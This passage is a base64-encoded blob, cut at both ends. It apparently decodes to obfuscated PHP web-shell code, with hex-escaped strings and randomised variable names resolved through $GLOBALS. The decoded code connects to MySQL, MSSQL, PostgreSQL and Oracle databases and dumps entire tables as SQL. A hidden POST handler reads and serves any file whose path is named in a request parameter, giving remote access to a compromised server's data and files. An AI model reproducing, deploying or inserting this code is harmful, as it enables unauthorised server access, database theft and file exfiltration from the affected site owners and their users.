mFyJG51bV9maWVsZHM7dmFyJGR1bXA7ZnVuY3Rpb24gY29ubmVjdCgpeyRpZnliaXI9Ilx4NzN0ciI7JHJ3enBuZmdoPSJceDY1XHg3MnJvXHg3MiI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNRXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMzMwXHgzNiI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm15c1x4NzFceDZjXHg1ZmNvXHg2ZVx4NmVlY1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iOiIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIiA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJceDRkU1NceDUxTCI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMVx4MzQzXHgzMyI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm1ceDczc3FceDZjX2NceDZmXHg2ZVx4NmVceDY1Y1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iLCIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKCR0aGlzLT5jb25uZWN0aW9uKXJldHVybiAxOyR0aGlzLT5lcnJvcj0iXHg0M2FceDZlJ3RceDIwXHg2M1x4NmZceDZlXHg2ZWVjdCB0XHg2Zlx4MjBzZVx4NzJceDc2ZXIiO2JyZWFrO2Nhc2UiXHg1MG9ceDczdGdceDcyZVNceDUxXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzNTQzMiI7fSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczZ1x4NzlceDZib1x4NjdceDY3bG5ceDcyZCJdfT0iXHg2OG9ceDczdD0nIi4kdGhpcy0+aG9zdC4iJ1x4MjBwXHg2ZnJceDc0XHgzZFx4MjciLiR0aGlzLT5wb3J0LiInIHVzZVx4NzI9XHgyNyIuJHRoaXMtPnVzZXIuIlx4MjdceDIwcFx4NjFceDczXHg3M1x4NzdceDZmclx4NjQ9XHgyNyIuJHRoaXMtPnBhc3MuIidceDIwZGJceDZlXHg2MW1lPVx4MjciLiR0aGlzLT5iYXNlLiInIjtpZighZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2N1x4NWZjb25uZWNceDc0IikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QHBnX2Nvbm5lY3QoJHskaWZ5YmlyfSk7aWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKXJldHVybiAxOyR0aGlzLT5lcnJvcj1AcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7YnJlYWs7Y2FzZSJceDRmXHg3MmFceDYzXHg2Y1x4NjUiOmlmKCFmdW5jdGlvbl9leGlzdHMoIlx4NmZceDYzaVx4NmNceDZmXHg2N29ceDZlIikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QG9jaWxvZ29uKCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzLCR0aGlzLT5iYXNlKTtpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NmF1XHg3OFx4NzNicCJdfT1Ab2NpZXJyb3IoKTskdGhpcy0+ZXJyb3I9JHskcnd6cG5mZ2h9WyJtXHg2NVx4NzNzYWdceDY1Il07YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBzZWxlY3RfZGIoKXtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIlx4NGRceDc5XHg1M1x4NTFMIjppZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIlx4MjA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJNXHg1M1NRXHg0YyI6aWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHRoaXMtPmVycm9yPSJceDQzYW5ceDI3dFx4MjBzXHg2NWxceDY1Y3RceDIwZGF0YWJhc2UiO2JyZWFrO2Nhc2UiUG9ceDczXHg3NFx4NjdceDcyXHg2NVNRTCI6cmV0dXJuIDE7YnJlYWs7Y2FzZSJPXHg3MmFceDYzbFx4NjUiOnJldHVybiAxO2JyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NjhceDc2XHg3Mlx4NjhceDczXHg2ZFx4NjZmblx4NjIiXT0icXVceDY1XHg3MnkiOyR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPSIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3YVx4NjNceDc0aHBceDYyXHg2Nlx4NzV4XHg3NVx4NzlceDZkIl09Ilx4NzFceDc1XHg2NXJceDc5Ijskam1wbWFtcXI9Ilx4NzF1ZVx4NzJ5Ijtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIk15U1x4NTFMIjppZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgiLyoiLmNocigwKS4iKi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY2XHg2MmFceDY3eG9ceDY5XHg2ZGNceDY2Il19LCR0aGlzLT5jb25uZWN0aW9uKSkpeyR0aGlzLT5lcnJvcj1AbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJNXHg1M1x4NTNceDUxTCI6aWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bIlx4Njh2XHg3Mlx4NjhzbVx4NjZmblx4NjIiXX0sJHRoaXMtPmNvbm5lY3Rpb24pKSl7JHRoaXMtPmVycm9yPSJRXHg3NVx4NjVyXHg3OSBlXHg3Mlx4NzJvXHg3MiI7cmV0dXJuIDA7fWVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpPjApe3JldHVybiAxO31yZXR1cm4gMjticmVhaztjYXNlIlx4NTBvXHg3M1x4NzRnXHg3MmVceDUzXHg1MUwiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QHBnX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCR7JGptcG1hbXFyfSkpKXskdGhpcy0+ZXJyb3I9QHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKT4wKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJPXHg3Mlx4NjFceDYzbFx4NjUiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJ6XHg2M1x4NzRceDY4cGJceDY2XHg3NVx4Nzh1XHg3OVx4NmQiXX0pKSl7JHRoaXMtPmVycm9yPSJceDUxXHg3NVx4NjVceDcyXHg3OSBceDcwYVx4NzJceDczZVx4MjBceDY1XHg3Mlx4NzJceDZmXHg3MiI7fWVsc2V7JHsiXHg0N0xPXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg2NW9ceDZiZ1x4NjNceDYxXHg3N1x4NzgiXT0iXHg2NXJceDcyXHg2Zlx4NzIiO2lmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKXtpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykhPTApcmV0dXJuIDI7cmV0dXJuIDE7fSR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhdXhzYlx4NzAiXX09QG9jaWVycm9yKCk7JHRoaXMtPmVycm9yPSR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2NVx4NmZceDZiXHg2N1x4NjNceDYxXHg3N3giXX1bIlx4NmRlc1x4NzNhXHg2N1x4NjUiXTt9YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBnZXRfcmVzdWx0KCl7JHRoaXMtPnJvd3M9YXJyYXkoKTskdGhpcy0+Y29sdW1ucz1hcnJheSgpOyR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wO3N3aXRjaCgkdGhpcy0+ZGIpe2Nhc2UiXHg0ZFx4NzlTXHg1MVx4NGMiOiR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiTVx4NTNceDUzUUwiOiR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiUFx4NmZceDczXHg3NGdyXHg2NVNRXHg0YyI6JHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTskdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTt3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpO0BwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTtpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zPUBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTtyZXR1cm4gMTt9YnJlYWs7Y2FzZSJPcmFceDYzXHg2Y2UiOiR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpO3doaWxlKGZhbHNlIT09KCR0aGlzLT5yb3dzW109QG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpJHRoaXMtPm51bV9yb3dzKys7QG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gZHVtcCgkdGFibGUpe2lmKGVtcHR5KCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJ1XHg2Zlx4NzFceDY3cG5ceDc4XHg2ZmJpXHg3MVx4NjgiXX0pKXJldHVybiAwOyRkaHp1amR3ZWpnaT0iXHg3NGFceDYyXHg2Y1x4NjUiOyR0aGlzLT5kdW1wPWFycmF5KCk7JHRoaXMtPmR1bXBbMF09Ilx4MjMjIjskdGhpcy0+ZHVtcFsxXT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHgyMCI7JHRoaXMtPmR1bXBbMl09Ilx4MjMjICBceDQzXHg3Mlx4NjVceDYxdGVceDY0OiAiLmRhdGUoIlx4NjQvbS9ZIFx4NDg6aTpzIik7JHsiR0xceDRmQlx4NDFMUyJ9WyJceDczYVx4NjNceDZlXHg2MmlvXHg3OFx4NjR4dSJdPSJ0XHg2MWJceDZjXHg2NSI7JHRoaXMtPmR1bXBbM109Ilx4MjNceDIzIFx4NDRhdGFceDYyYXNceDY1OiAiLiR0aGlzLT5iYXNlOyRia2NuZ3lrYz0iaSI7JHRoaXMtPmR1bXBbNF09Ilx4MjNceDIzIFx4MjAgIFRceDYxYlx4NmNceDY1Olx4MjAiLiR7JGRoenVqZHdlamdpfTskdGhpcy0+ZHVtcFs1XT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNceDUxXHg0YyI6JHRoaXMtPmR1bXBbMF09IiNceDIzIE1ceDc5XHg1M1FceDRjXHgyMGR1bXAiO2lmKCR0aGlzLT5xdWVyeSgiLyoiLmNocigwKS4iKi9ceDIwXHg1M0hceDRmVyBDUlx4NDVceDQxXHg1NFx4NDVceDIwVFx4NDFCXHg0Y0VceDIwXHg2MCIuJHskeyJHXHg0Y1x4NGZCXHg0MUxceDUzIn1bInVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvXHg2MmlceDcxXHg2OCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwOyR0aGlzLT5kdW1wW109JHRoaXMtPnJvd3NbMF1bIlx4NDNceDcyXHg2NWF0XHg2NSBceDU0YVx4NjJsXHg2NSJdLiI7IjskdGhpcy0+ZHVtcFtdPSIjXHgyMyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1ceDIwIjtpZigkdGhpcy0+cXVlcnkoIi8qIi5jaHIoMCkuIiovIFNFXHg0Y1x4NDVceDQzXHg1NCAqXHgyMFx4NDZST1x4NGQgYCIuJHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NzVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvYmlceDcxaCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwO2ZvcigkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3M1x4N2FmXHg3OVx4NmFceDZmcCJdfT0wOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjUyJ9WyJzXHg3YWZceDc5XHg2YVx4NmZceDcwIl19PCR0aGlzLT5udW1fcm93czskeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3M1x4N2FceDY2XHg3OWpceDZmXHg3MCJdfSsrKXskeWhvYW90anc9ImkiOyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsidlx4NmFsXHg2NFx4NzZneVx4NmEiXT0idGFceDYyXHg2Y1x4NjUiOyR7IkdMT0JBTFx4NTMifVsiXHg2OFx4NzhceDY4XHg2Y2ZceDYzXHg3MXlceDY1XHg3NVx4NzEiXT0iXHg2YiI7JHsiXHg0N1x4NGNceDRmQkFceDRjUyJ9WyJceDcxZVx4NzNceDZhXHg2MVx4NzdceDZkXHg2ZFx4NjMiXT0iXHg3NiI7Zm9yZWFjaCgkdGhpcy0+cm93c1skeyR7IkdMT1x4NDJBXHg0Y1MifVsic1x4N2FceDY2eWpceDZmcCJdfV1hcyR7JHsiR1x4NGNPXHg0Mlx4NDFMUyJ9WyJceDY4XHg3OFx4NjhceDZjZlx4NjNxeWVceDc1XHg3MSJdfT0+JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bInFceDY1c2pceDYxd1x4NmRceDZkYyJdfSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZmXHg3OHdceDc0XHg2NFx4NzJceDYyXHg3MiJdPSJceDY5IjskdGhpcy0+cm93c1skeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzhceDc3dGRyXHg2Mlx4NzIiXX1dWyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3OVx4NmJceDczXHg3M1x4NmNceDZhXHg3NFx4NzZsXHg3YSJdfV09QG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3c1x4NzBceDcyIl19KTt9JHRoaXMtPmR1bXBbXT0iSVx4NGVTXHg0NVx4NTJceDU0IFx4NDlceDRlXHg1NE9ceDIwXHg2MCIuJHskeyJHTFx4NGZceDQyXHg0MUxTIn1bIlx4NzZceDZhXHg2Y1x4NjRceDc2XHg2N1x4NzlceDZhIl19LiJceDYwIChgIi5AaW1wbG9kZSgiYCxceDIwYCIsJHRoaXMtPmNvbHVtbnMpLiJgKVx4MjBWXHg0MUxVRVx4NTNceDIwKCciLkBpbXBsb2RlKCInLFx4MjBceDI3IiwkdGhpcy0+cm93c1skeyR5aG9hb3Rqd31dKS4iXHgyNyk7Ijt9YnJlYWs7Y2FzZSJceDRkXHg1M1x4NTNceDUxTCI6JHRoaXMtPmR1bXBbMF09Ilx4MjNceDIzXHgyMFx4NGRTXHg1M1x4NTFMXHgyMGR1XHg2ZFx4NzAiO2lmKCR0aGlzLT5xdWVyeSgiXHg1M0VceDRjRUNUICpceDIwXHg0NlJPTSAiLiR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJzYVx4NjNceDZlYlx4NjlceDZmeFx4NjR4XHg3NSJdfSkhPTEpcmV0dXJuIDA7aWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpcmV0dXJuIDA7Zm9yKCR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJzelx4NjZ5XHg2YW9wIl19PTA7JHskYmtjbmd5a2N9PCR0aGlzLT5udW1fcm93czskeyR7IkdceDRjT0JBXHg0Y1x4NTMifVsiXHg3M3pmeWpvcCJdfSsrKXskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmNceDZjXHg3Mlx4NzNceDc0XHg3NVx4NjdceDZmY3QiXT0iXHg3NFx4NjFiXHg2Y2UiOyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NzFceDcxXHg3OVx4NzNceDZlIl09InYiOyR5ZHZyaXc9Ilx4NmIiO2ZvcmVhY2goJHRoaXMtPnJvd3NbJHskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bInN6XHg2NnlceDZhXHg2Zlx4NzAiXX1dYXMkeyR5ZHZyaXd9PT4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsibnFxXHg3OVx4NzNceDZlIl19KXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NzNceDY1Y1x4NzBceDYzXHg2YiJdPSJceDZiIjskb3RobHN4bnBuZnRoPSJceDc2IjskbHJ1bGpyc289ImkiOyR0aGlzLT5yb3dzWyR7JGxydWxqcnNvfV1bJHskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NzNlY3BceDYzayJdfV09QGFkZHNsYXNoZXMoJHskb3RobHN4bnBuZnRofSk7fSR0aGlzLT5kdW1wW109Ilx4NDlceDRlXHg1M0VSXHg1NFx4MjBJXHg0ZVx4NTRceDRmICIuJHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bImxceDZjclx4NzNceDc0XHg3NVx4NjdceDZmXHg2M3QiXX0uIlx4MjAoIi5AaW1wbG9kZSgiLFx4MjAiLCR0aGlzLT5jb2x1bW5zKS4iKVx4MjBWXHg0MUxceDU1XHg0NVx4NTNceDIwKFx4MjciLkBpbXBsb2RlKCJceDI3LCAnIiwkdGhpcy0+cm93c1skeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3M3pceDY2XHg3OVx4NmFceDZmXHg3MCJdfV0pLiJceDI3KVx4M2IiO31icmVhaztjYXNlIlBceDZmc3RncmVTXHg1MUwiOiR0aGlzLT5kdW1wWzBdPSIjXHgyM1x4MjBceDUwXHg2Zlx4NzN0XHg2N1x4NzJlXHg1M1x4NTFMIGR1XHg2ZFx4NzAiO2lmKCR0aGlzLT5xdWVyeSgiU0VceDRjXHg0NUNUICogRlJPTVx4MjAiLiR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2Zlx4NzFceDY3XHg3MFx4NmVceDc4XHg2Zlx4NjJceDY5XHg3MVx4NjgiXX0pIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwO2ZvcigkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4N2FceDY2eVx4NmFceDZmXHg3MCJdfT0wOyR7JHsiR0xceDRmXHg0MkFMXHg1MyJ9WyJceDczemZ5alx4NmZceDcwIl19PCR0aGlzLT5udW1fcm93czskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3M3pmeVx4NmFceDZmcCJdfSsrKXtmb3JlYWNoKCR0aGlzLT5yb3dzWyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg3YVx4NjZ5alx4NmZceDcwIl19XWFzJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4NmZceDc5XHg2Ylx4NzNceDczXHg2Y1x4NmF0XHg3Nlx4NmNceDdhIl19PT4keyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3OG1ceDYzXHg2OHhceDc3XHg3M1x4NzBceDcyIl19KXskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bInVceDcxY1x4NmNvXHg3Nlx4NzhceDZlIl09ImsiOyRpa3Nkb3RjPSJceDY5IjskdGhpcy0+cm93c1skeyRpa3Nkb3RjfV1bJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bInVceDcxXHg2M2xvdlx4NzhuIl19XT1AYWRkc2xhc2hlcygkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3OG1ceDYzaFx4NzhceDc3XHg3M1x4NzByIl19KTt9JHRoaXMtPmR1bXBbXT0iXHg0OVx4NGVceDUzXHg0NVJceDU0IElceDRlVE9ceDIwIi4keyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3NVx4NmZceDcxXHg2N1x4NzBceDZleFx4NmZceDYyXHg2OXFoIl19LiIgKCIuQGltcGxvZGUoIiwgIiwkdGhpcy0+Y29sdW1ucykuIilceDIwVlx4NDFMXHg1NUVceDUzIChceDI3Ii5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3NbJHskeyJHTFx4NGZceDQyXHg0MUxceDUzIn1bInNceDdhXHg2NnlceDZhXHg2Zlx4NzAiXX1dKS4iXHgyNyk7Ijt9YnJlYWs7Y2FzZSJceDRmXHg3Mlx4NjFjbFx4NjUiOiR0aGlzLT5kdW1wWzBdPSJceDIzXHgyM1x4MjBceDRmXHg1MkFceDQzXHg0Y0VceDIwXHg2NFx4NzVtXHg3MCI7JHRoaXMtPmR1bXBbXT0iXHgyM1x4MjNceDIwdW5kXHg2NVx4NzJceDIwXHg2M29ceDZlXHg3M3RydVx4NjN0aW9ceDZlIjticmVhaztkZWZhdWx0OnJldHVybiAwO2JyZWFrO31yZXR1cm4gMTt9ZnVuY3Rpb24gY2xvc2UoKXtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIk1ceDc5XHg1M1x4NTFMIjpAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pO2JyZWFrO2Nhc2UiXHg0ZFNTUUwiOkBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7YnJlYWs7Y2FzZSJceDUwXHg2ZnN0XHg2N3JlXHg1M1x4NTFceDRjIjpAcGdfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pO2JyZWFrO2Nhc2UiXHg0ZnJhXHg2M2xlIjpAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTticmVhazt9fWZ1bmN0aW9uIGFmZmVjdGVkX3Jvd3MoKXtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIlx4NGR5U1x4NTFceDRjIjpyZXR1cm5AbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTticmVhaztjYXNlIlx4NGRceDUzXHg1M1FceDRjIjpyZXR1cm5AbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTticmVhaztjYXNlIlx4NTBceDZmXHg3M1x4NzRceDY3cmVceDUzUUwiOnJldHVybkBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpO2JyZWFrO2Nhc2UiXHg0ZnJceDYxXHg2M1x4NmNceDY1IjpyZXR1cm5Ab2Npcm93Y291bnQoJHRoaXMtPnJlcyk7YnJlYWs7ZGVmYXVsdDpyZXR1cm4gMDticmVhazt9fX1pZighZW1wdHkoJF9QT1NUWyJceDYzXHg2M1x4NjNjIl0pJiYkX1BPU1RbIlx4NjNceDYzY2MiXT09ImRceDZmd25sb2FceDY0XHg1Zlx4NjZpXHg2Y1x4NjUiJiYhZW1wdHkoJF9QT1NUWyJceDY0XHg1Zlx4NmVceDYxbWUiXSkpe2lmKCEkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg3Mlx4NzRceDcyXHg2ZVx4NmRceDczXHg3N1x4NzJceDY3XHg2MnQiXX09QGZvcGVuKCRfUE9TVFsiXHg2NFx4NWZceDZlYW1lIl0sInIiKSl7ZXJyKDEsJF9QT1NUWyJkXHg1Zm5ceDYxXHg2ZFx4NjUiXSk7JF9QT1NUWyJceDYzY2NjIl09IiI7fWVsc2V7QG9iX2NsZWFuKCk7JGZycWNkYmVncmQ9Ilx4NmRpXHg2ZGVfXHg3NFx4NzlceDcwZSI7JHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzNceDc3XHg3M1x4NzJceDZmXHg3N1x4NmQiXX09QGJhc2VuYW1lKCRfUE9TVFsiXHg2NFx4NWZceDZlXHg2MW1ceDY1Il0pOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDZiXHg2Zlx4NzJceDY4XHg2YmhceDZkXHg2NVx4NjdceDZlXHg3NCJdfT1AZnJlYWQoJHskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bInJceDc0cm5tc3dyXHg2N1x4NjJceDc0Il19LEBmaWxlc2l6ZSgkX1BPU1RbImRfXHg2ZWFtZSJdKSk7ZmNsb3NlKCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcyXHg3NFx4NzJuXHg2ZHNceDc3XHg3MmdceDYyXHg3NCJdfSk7JHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIndxXHg3MFx4NzdceDc5ZHRceDZkIl19PSR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZiXHg2N2pceDcyanhceDcxXHg3M2IiXX09IiI7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc0XHg2N1x4NjdceDc1Ylx4NjlceDYyeVx4NzVceDcwXHg3N1x4NjkiXT0iXHg2NmlceDZjXHg2NW5ceDYxXHg2ZFx4NjUiOyR2a3hobWx0PSJceDY2XHg2OVx4NmNlXHg2NHVceDZkcCI7JG91Z2VwZz0iY1x4NmZceDZlXHg3NFx4NjVuXHg3NFx4NWZceDY1XHg2ZWNceDZmZFx4NjlceDZlZyI7Y29tcHJlc3MoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bInN3XHg3M1x4NzJceDZmd1x4NmQiXX0sJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NmJceDZmXHg3Mlx4NjhceDZiXHg2OFx4NmRceDY1XHg2N1x4NmV0Il19LCRfUE9TVFsiY1x4NmZceDZkXHg3MHJceDY1c1x4NzMiXSk7aWYoIWVtcHR5KCR7JG91Z2VwZ30pKXskeyJceDQ3X